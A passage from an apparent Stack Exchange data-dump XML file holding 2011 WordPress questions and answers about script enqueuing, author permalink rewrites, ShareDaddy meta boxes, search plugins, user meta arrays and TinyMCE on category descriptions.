dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you want to deregister is in that list, and not being called as a dependency of another script, the easiest thing to do is just call &lt;code&gt;wp_deregister_script&lt;/code&gt; with the handle listed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely, though, you're dealing with a case where a plugin didn't follow best practices in adding a script. What it looks like from your output is that some plugin added jQuery 1.5 without first deregistering jquery and reregistering it with the different version. so anything that depends on jquery is forcing an include of the version bundled in WP.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-28T22:04:17.180" />
  <row Id="13332" PostTypeId="2" ParentId="13330" CreationDate="2011-03-28T22:20:34.203" Score="0" ViewCount="" Body="&lt;p&gt;You could use an htaccess rule to rewrite /users/34 to /?author=34&lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-28T22:20:34.203" CommentCount="1" />
  <row Id="13333" PostTypeId="1" AcceptedAnswerId="13336" CreationDate="2011-03-28T22:23:08.267" Score="0" ViewCount="432" Body="&lt;p&gt;I noticed ShareDaddy has &quot;Show sharing buttons on this post&quot; for default post types but not for custom post types. I'm guessing I need to add something in &lt;code&gt;'supports' =&amp;gt; array('title','editor','thumbnail')&lt;/code&gt;. Does anybody know what I need to add in order for &quot;Show sharing buttons on this post&quot; to show up for custom post types?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-28T23:56:12.053" Title="Jetpack plugin (ShareDaddy): Prevent share buttons showing on custom post types?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;jetpack&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="13334" PostTypeId="1" AcceptedAnswerId="13344" CreationDate="2011-03-28T22:28:09.557" Score="2" ViewCount="225" Body="&lt;p&gt;I heard many times, that WordpPess's search doesn't work good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other search engines available for wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about sphynx, seems its a good one, but available plugins are out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="876" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-29T00:08:50.293" LastActivityDate="2011-06-06T09:31:36.953" Title="How to improve WordPress search" Tags="&lt;plugins&gt;&lt;search&gt;&lt;search-engines&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" />
  <row Id="13335" PostTypeId="2" ParentId="13329" CreationDate="2011-03-28T22:39:07.943" Score="3" ViewCount="" Body="&lt;p&gt;There's an &lt;code&gt;in_footer&lt;/code&gt; parameter that you can pass to wp_enqueue_scripts - does that work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would hook to &lt;code&gt;admin_enqueue_scripts&lt;/code&gt;, check the $page for location, and enqueue your script there, with 'in_footer' as true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_enqueue_scripts', 'enqueue_my_script' );&#xA;&#xA;function enqueue_my_script( $page ) {&#xA;    if ($page !== 'edit.php') return;&#xA;    wp_enqueue_script( 'my-script', 'http://path/to/my/local/script', null, null, true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-03-31T17:32:11.707" LastActivityDate="2011-03-31T17:32:11.707" CommentCount="4" />
  <row Id="13336" PostTypeId="2" ParentId="13333" CreationDate="2011-03-28T22:43:16.087" Score="0" ViewCount="" Body="&lt;p&gt;ShareDaddy uses two filter hooks either &lt;code&gt;the_content&lt;/code&gt; or &lt;code&gt;the_excerpt&lt;/code&gt; this means that your custom post type theme template file has to use one of these two functions &lt;code&gt;the_content();&lt;/code&gt; or &lt;code&gt;the_excerpt();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ok I guess i didn't get the question. So to add the metabox to your custom post type add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Hook things in, late enough so that add_meta_box() is defined and make sure you already registered you post type.&#xA;    if (is_admin()){&#xA;        add_action( 'admin_init', 'add_plugin_meta_boxes' );&#xA;        add_action( 'save_post', 'save_sharing_box' );&#xA;    }&#xA;&#xA;// This function tells WP to add the sharing &quot;meta box&quot;&#xA;function add_plugin_meta_boxes() {&#xA;    add_meta_box( 'sharing_meta', __( 'Sharing', 'sharedaddy' ), 'sharing_meta_box_content', 'CUSTOM POST TYPE NAME', 'advanced', 'high' );&#xA;&#xA;}&#xA;&#xA;function save_sharing_box( $post_id ) {&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;        return $post_id;&#xA;&#xA;    // Record sharing disable&#xA;    if ( 'CUSTOM POST TYPE NAME' == $_POST['post_type'] ) {&#xA;        if ( current_user_can( 'edit_post', $post_id ) ) {&#xA;            if ( isset( $_POST['sharing_status_hidden'] ) ) {&#xA;                if ( !isset( $_POST['enable_post_sharing'] ) )&#xA;                    update_post_meta( $post_id, 'sharing_disabled', 1 );&#xA;                else&#xA;                    delete_post_meta( $post_id, 'sharing_disabled' );&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;  return $post_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change &lt;code&gt;CUSTOM POST TYPE NAME&lt;/code&gt; to you actual custom post type name.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-28T23:56:12.053" LastActivityDate="2011-03-28T23:56:12.053" CommentCount="2" />
  <row Id="13337" PostTypeId="2" ParentId="13237" CreationDate="2011-03-28T22:50:15.463" Score="2" ViewCount="" Body="&lt;p&gt;Down the rabbit hole.....  I found a fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this post &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1878/custom-post-type-archives-by-date-and-taxonomy&quot;&gt;Custom Post Type Archives by Date and Taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which let me to this trac ticket &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14589&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14589&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the following  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_type_tags_fix($request) {&#xA;    if ( isset($request['tag']) &amp;amp;&amp;amp; !isset($request['post_type']) )&#xA;    $request['post_type'] = 'any';&#xA;    return $request;&#xA;} &#xA;add_filter('request', 'post_type_tags_fix');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe this didn't make it into 3.1?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-28T22:50:15.463" />
  <row Id="13339" PostTypeId="2" ParentId="13334" CreationDate="2011-03-28T22:56:57.107" Score="0" ViewCount="" Body="&lt;p&gt;The most common one at the moment is, I think, Google Custom Search.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T22:56:57.107" />
  <row Id="13340" PostTypeId="1" CreationDate="2011-03-28T23:27:08.533" Score="-1" ViewCount="129" Body="&lt;p&gt;Is there a method I can use to set and cloak an affiliate link once in WPMS and then all MS blogs will work using that relative link? ie: allWPMSurls.com*&lt;strong&gt;/out/productname*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several affiliate blogs in a WordPress MultiSite install. They all use the same affiliate links and I'm currently use the &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection plugin&lt;/a&gt; to cloak them. This works well, but it's fast-becoming too time consuming to update/edit the links in WP Admin for every blog (considering it's the same link for every blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the sites use the same relative link for the affiliate products (/out/product-name) so I'd love to be able to add/edit the links in a single place and for them to work on all the blogs. Navigating into WP Admin &gt; Redirection &gt; Link Setting for &lt;em&gt;every&lt;/em&gt; blog to change the same link is buckling me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tweeted the always-helpful @andrea_r who replied about hard-coding the plugin into mu-plugins. But that is a beyond my skill-set. Has anyone else any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2011-04-29T20:42:27.110" Title="WordPress MultiSite Link Cloaking/Redirect Solution?" Tags="&lt;multisite&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="13342" PostTypeId="1" CreationDate="2011-03-28T23:39:07.820" Score="0" ViewCount="89" Body="&lt;p&gt;Hey guys-&#xA;A friend of mine just did an auto-update for the most recent wordpress upgrade.&#xA;Upon completion, her site began to display her rss feed on the front page instead of well, her front page.&#xA;the rss feed also appeared to be empty.&#xA;Upon further inspection, it appears that EVERY page goes to that empty feed page (including the admin panel link).&#xA;Lastly, it seems that the main url wants to add an additional // at the end of the URL when hitting the root of the domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have any of you heard of anything like this?&#xA;Said friend went to me looking for help because I'm usually a wellspring of knowledge on such things, but this is one problem Ive never come across.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, this is the site:&#xA;&lt;a href=&quot;http://lizconley.com/&quot; rel=&quot;nofollow&quot;&gt;http://lizconley.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input you might have!&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2011-03-29T06:42:25.560" Title="Wordpress update totally broke the install. Main page now displays empty rss feed" Tags="&lt;rss&gt;&lt;update&gt;&lt;auto-update&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="13343" PostTypeId="2" ParentId="13330" CreationDate="2011-03-29T00:25:02.777" Score="2" ViewCount="" Body="&lt;p&gt;you need 3 simple functions and hooks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first change the author base:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//change author/username base to users/userID&#xA;function change_author_permalinks() {&#xA;  global $wp_rewrite;&#xA;   // Change the value of the author permalink base to whatever you want here&#xA;   $wp_rewrite-&amp;gt;author_base = 'users';&#xA;  $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;add_action('init','change_author_permalinks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add users to query_vars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('query_vars', 'users_query_vars');&#xA;function users_query_vars($vars) {&#xA;    // add lid to the valid list of variables&#xA;    $new_vars = array('users');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add the new rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function user_rewrite_rules( $wp_rewrite ) {&#xA;  $newrules = array();&#xA;  $new_rules['users/(\d*)$'] = 'index.php?author=$matches[1]';&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_filter('generate_rewrite_rules','user_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you don't know how to use this, just copy all of the code and paste in your theme's functions.php file.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-29T00:25:02.777" CommentCount="5" />
  <row Id="13344" PostTypeId="2" ParentId="13334" CreationDate="2011-03-29T00:29:35.800" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/relevanssi/&quot; rel=&quot;nofollow&quot;&gt;WordPress › Relevanssi - A Better Search « WordPress Plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Key features:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search results sorted in the order of relevance, not by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fuzzy matching: match partial words, if complete words don't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find documents matching either just one search term (OR query) or require all words to appear (AND query).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for phrases with quotes, for example &quot;search phrase&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create custom excerpts that show where the hit was made, with the search terms highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highlight search terms in the documents when user clicks through search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search comments, tags, categories and custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced features:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the weighting for titles, tags and comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log queries, show most popular queries and recent queries with no hits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restrict searches to categories and tags using a hidden variable or plugin settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Index custom post types and custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Index the contents of shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google-style &quot;Did you mean?&quot; suggestions based on successful user searches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatic support for WPML multi-language plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced filtering to help hacking the search results the way you want.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-29T00:29:35.800" />
  <row Id="13345" PostTypeId="2" ParentId="13334" CreationDate="2011-03-29T00:29:38.653" Score="1" ViewCount="" Body="&lt;p&gt;There are a lot of a posts written about this, and it took me a while to figure out a solution. Google Custom Search is a great solution - if you have a google account (which you can easily get if you don't), a basic understanding of wordpress themes, and some php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chipwreck.de/blog/2010/01/22/how-to-google-custom-search-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.chipwreck.de/blog/2010/01/22/how-to-google-custom-search-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have those skills sets, there is a pretty good plugin you can use. It's not as good as Google Custom Search, but it does the job better than the Wordpress's search engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/relevanssi/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/relevanssi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a bit.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-03-29T00:29:38.653" />
  <row Id="13346" PostTypeId="2" ParentId="13342" CreationDate="2011-03-29T01:46:54.670" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried reverting to the default Theme (TwentyTen), and also flushing the mod_rewrite rules, by saving the Permalinks settings again?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-29T01:46:54.670" />
  <row Id="13347" PostTypeId="2" ParentId="2574" CreationDate="2011-03-29T01:59:48.720" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_nav_menu()&lt;/code&gt; accepts an undocumented parameter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L141&quot; rel=&quot;nofollow&quot;&gt;'items_wrap' =&gt; '&lt;code&gt;&amp;lt;ul id=&quot;%1$s&quot; class=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/ul&amp;gt;&lt;/code&gt;'&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is executed by:&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L226&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$nav_menu .= sprintf( $args-&amp;gt;items_wrap, esc_attr( $wrap_id ), esc_attr( $wrap_class ), $items );&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can play around with the sprintf arguments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex: 'items_wrap' =&gt; '%3$s' would remove the wrapping &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; tag&lt;/p&gt;&#xA;" OwnerUserId="4279" LastActivityDate="2011-03-29T01:59:48.720" CommentCount="1" />
  <row Id="13348" PostTypeId="1" CreationDate="2011-03-29T02:42:58.460" Score="0" ViewCount="48" Body="&lt;p&gt;I'm looking for a way to pull data on the number of signups my blog is getting on a daily/weekly/monthly basis, along with any other data wordpress stores during signup (IP address?). Ideally (if this is a plugin solution) it will then display it graphically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have no plugin recommendation then any tips about where this data is stored in the wordpress DB, what sort of queries I could use to pull the data and what type of data is stored would be appreciated so I could manually pull the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3811" LastEditorUserId="3811" LastEditorDisplayName="" LastEditDate="2011-03-29T04:53:24.090" LastActivityDate="2011-03-29T04:53:24.090" Title="user signup statistics / reports" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;mysql&gt;&lt;membership&gt;" FavoriteCount="1" />
  <row Id="13349" PostTypeId="1" AcceptedAnswerId="13377" CreationDate="2011-03-29T03:51:46.670" Score="0" ViewCount="238" Body="&lt;p&gt;Running WordPress 3.1 with the free Boldy theme from Site5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a working version of my website: &lt;a href=&quot;http://www.dekhoforum.com&quot; rel=&quot;nofollow&quot;&gt;http://www.dekhoforum.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to achieve something like this screenshot:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/OdWcL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. Have a 2nd logo above the social media icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;&lt;em&gt;- Screenshot shows moving an existing image to the new location.&lt;br&gt;&#xA;This is misleading, and I actually need a new placeholder for an image, and not to move the existing logo (which is the right image), as this will not be consistent on the other pages such as the &lt;a href=&quot;http://www.dekhoforum.com/?category_name=blog&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;.&#xA;- In short, its a marketing requirement to get this logo at the top of each page, across the entire site.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option I did ponder, was somehow trying to add another social media icon, but link it to my main company website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tweaked PHP in the past on previous themes, but always had a little guidance from you wonderful lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was wondering if anyone could advise? I have been snooping in the header.php, but I imagine I will need to write a new line in somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="4280" LastEditorDisplayName="" LastEditDate="2011-03-30T00:47:24.320" LastActivityDate="2011-04-04T04:00:28.263" Title="Boldy Theme - Tweak PHP for 2nd Logo?" Tags="&lt;logo&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13350" PostTypeId="2" ParentId="13342" CreationDate="2011-03-29T03:52:44.817" Score="0" ViewCount="" Body="&lt;p&gt;The files and database are probably still there. Google's cache shows the site at 3.1 already, so I wonder what update was being done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So get into the server via FTP and rename your plugins folder to force deactivate all plugins. If that doesn't work, delete the .htaccess file (and regenerate permalinks afterward.) If that doesn't work, manually upload new copies of all Wordpress core files and folders, except for wp-config.php and /wp-content/.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-29T03:52:44.817" />
  <row Id="13351" PostTypeId="1" CreationDate="2011-03-29T04:10:49.823" Score="0" ViewCount="261" Body="&lt;p&gt;I need help. I am trying to create an album order form with my gravity form plug in and am looking to add a pricing field. I have googled the heck out of this topic and can't seem to figure out how...even on Gravity Form's blog!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Jaime&lt;/p&gt;&#xA;" OwnerUserId="4281" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-29T05:45:49.007" LastActivityDate="2011-06-27T14:18:00.730" Title="How do I add pricing fields to a Gravity Form?" Tags="&lt;e-commerce&gt;&lt;plugin-gravity-forms&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="13352" PostTypeId="1" CreationDate="2011-03-29T04:35:21.697" Score="0" ViewCount="32" Body="&lt;p&gt;I have a post type called members, which has a field called &quot;business-type&quot;. To display the members on the page sorted by business type I'm doing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=members&amp;amp;meta_key=business_type&amp;amp;orderby=meta_value&amp;amp;order=ASC&amp;amp;posts_per_page=100'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want the business-types to be ordered by their option string, not their option value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;business_type&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;none&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;Residential&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot;&amp;gt;Banking&amp;lt;/option&amp;gt;&#xA;        .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this is appreciated. thanks&lt;/p&gt;&#xA;" OwnerUserId="4283" LastActivityDate="2011-03-29T04:35:21.697" Title="Using Easy Post Types sorting by value in option string instead of option value" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;mysql&gt;" />
  <row Id="13353" PostTypeId="1" AcceptedAnswerId="13386" CreationDate="2011-03-29T04:50:39.333" Score="1" ViewCount="229" Body="&lt;p&gt;I am writing a function that adds an ID number to an array and puts the array in the usermeta. $_GET['auction'] is the post_id. Here is the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $reminders = get_user_meta($current_user-&amp;gt;ID,&quot;reminders&quot;);&#xA;        print_r($reminders);&#xA;        if(in_array($_GET['auction'],$reminders)) {&#xA;            echo &quot;Failed: Auction already in list&quot;;&#xA;        } else {&#xA;            array_push($reminders,intval($_GET['auction']));&#xA;            if(update_user_meta($current_user-&amp;gt;ID,&quot;reminders&quot;,$reminders)) {&#xA;                echo &quot;Success&quot;;&#xA;            } else {&#xA;                echo &quot;Failed: Could not update user meta&quot;;&#xA;            }&#xA;        }&#xA;        print_r($reminders);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the output after adding one auction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( ) &#xA;Success&#xA;Array ( [0] =&amp;gt; 7 ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the output after adding two auctions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [0] =&amp;gt; Array ( [0] =&amp;gt; 7 ) ) &#xA;Success&#xA;Array ( [0] =&amp;gt; Array ( [0] =&amp;gt; 7 ) [1] =&amp;gt; 73 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the output after adding three auctions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [0] =&amp;gt; Array ( [0] =&amp;gt; Array ( [0] =&amp;gt; 7 ) [1] =&amp;gt; 73 ) ) &#xA;Success&#xA;Array ( [0] =&amp;gt; Array ( [0] =&amp;gt; Array ( [0] =&amp;gt; 7 ) [1] =&amp;gt; 73 ) [1] =&amp;gt; 0 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that adding a new element to the array using array_push works fine. But when the array is stored in the usermeta then retrieved again, the last element in the array has been put into an array of its own, creating an infinitely dimensional array. I'd prefer to keep this array one dimensional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can run update_user_meta and get_user_meta without it changing the structure of my array?&lt;/p&gt;&#xA;" OwnerUserId="4224" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-29T19:05:27.027" LastActivityDate="2011-03-29T19:05:27.027" Title="Problem storing arrays with update_user_meta" Tags="&lt;usermeta&gt;" AnswerCount="2" />
  <row Id="13354" PostTypeId="1" AcceptedAnswerId="13379" CreationDate="2011-03-29T05:13:36.973" Score="0" ViewCount="74" Body="&lt;p&gt;Let's say I got the following categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Style&#xA;  |&#xA;  + Shoes&#xA;  + Pants&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I make a post and put it in the Style and Shoes category, it will list them alphabetically instead of hierarchically. So it would list it as Shoes, Style instead of Styles, Shoes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? I tried using &quot;the_category('&gt; ', 'multiple')&quot; but that outputs &quot;Style, Shoes, Style&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-05-28T11:54:38.583" Title="List categories of a post hierarchically?" Tags="&lt;theme-development&gt;&lt;categories&gt;&lt;themes&gt;&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="13355" PostTypeId="1" CreationDate="2011-03-29T05:40:22.833" Score="0" ViewCount="301" Body="&lt;p&gt;The code below is designed to add a rich text editor toolbar to any textarea field in WordPress. Specifically, I'm interested in adding rich text to the category description editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works very well on 9 out of 10 WordPress installations. However, on a small percentage of sites, it does nothing. Any ideas what might be to blame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only meaningful difference i can discern between the two sites I'm comparing is that the generated script from the view source has different javascript, but both are WP 3.1 sites with no plugins!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would the javascript be different on one site vs the other?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//FROM THE SITE THAT WORKS&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;/* &amp;lt;![CDATA[ */&#xA;tinyMCE.init(tinyMCEPreInit.mceInit);&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt; &#xA;&#xA;&#xA;//FROM THE SITE THAT DOES NOT WORK. WHERE IS THIS COMING FROM?&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;/* &amp;lt;![CDATA[ */&#xA;(function(){&#xA;var t=tinyMCEPreInit,sl=tinymce.ScriptLoader,ln=t.mceInit.language,th=t.mceInit.theme,pl=t.mceInit.plugins;&#xA;sl.markDone(t.base+'/langs/'+ln+'.js');&#xA;sl.markDone(t.base+'/themes/'+th+'/langs/'+ln+'.js');&#xA;sl.markDone(t.base+'/themes/'+th+'/langs/'+ln+'_dlg.js');&#xA;tinymce.each(pl.split(','),function(n){if(n&amp;amp;&amp;amp;n.charAt(0)!='-'){sl.markDone(t.base+'/plugins/'+n+'/langs/'+ln+'.js');&#xA;sl.markDone(t.base+'/plugins/'+n+'/langs/'+ln+'_dlg.js');}});})();&#xA;tinyMCE.init(tinyMCEPreInit.mceInit);&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the code that attaches the rich text editor to the category description field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function catde_init() {&#xA;    if ( is_admin() || defined('DOING_AJAX') ) {&#xA;        if ( current_user_can('manage_categories') )&#xA;            remove_filter('pre_term_description', 'wp_filter_kses');&#xA;    }&#xA;}&#xA;&#xA;function catde_admin_init() {&#xA;        add_filter( 'tiny_mce_before_init', 'catde_mceinit');&#xA;        add_action('admin_footer', 'wp_tiny_mce');&#xA;        add_action('admin_head', 'catde_head');&#xA;}&#xA;&#xA;function catde_mceinit($init) {&#xA;    $init['mode'] = 'textareas';&#xA;    $init['editor_selector'] = '';&#xA;    $init['elements'] = 'category_description,description';&#xA;    $init['plugins'] = 'safari,inlinepopups,autosave,spellchecker,paste,wordpress,media,fullscreen';&#xA;    $init['theme_advanced_buttons1'] .= ',image';&#xA;    $init['theme_advanced_buttons2'] .= ',code';&#xA;    $init['onpageload'] = null;&#xA;    $init['save_callback'] = null;&#xA;    return $init;&#xA;}&#xA;&#xA;function catde_head() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;#category_description_tbl,#description_tbl{border:1px solid #dfdfdf;}.wp_themeSkin .mceStatusbar{border-color:#dfdfdf;}&amp;lt;/style&amp;gt;';&#xA;}&#xA;&#xA;add_action('init', 'catde_init', 0);&#xA;add_action('load-categories.php', 'catde_admin_init',0);&#xA;add_action('load-edit-tags.php', 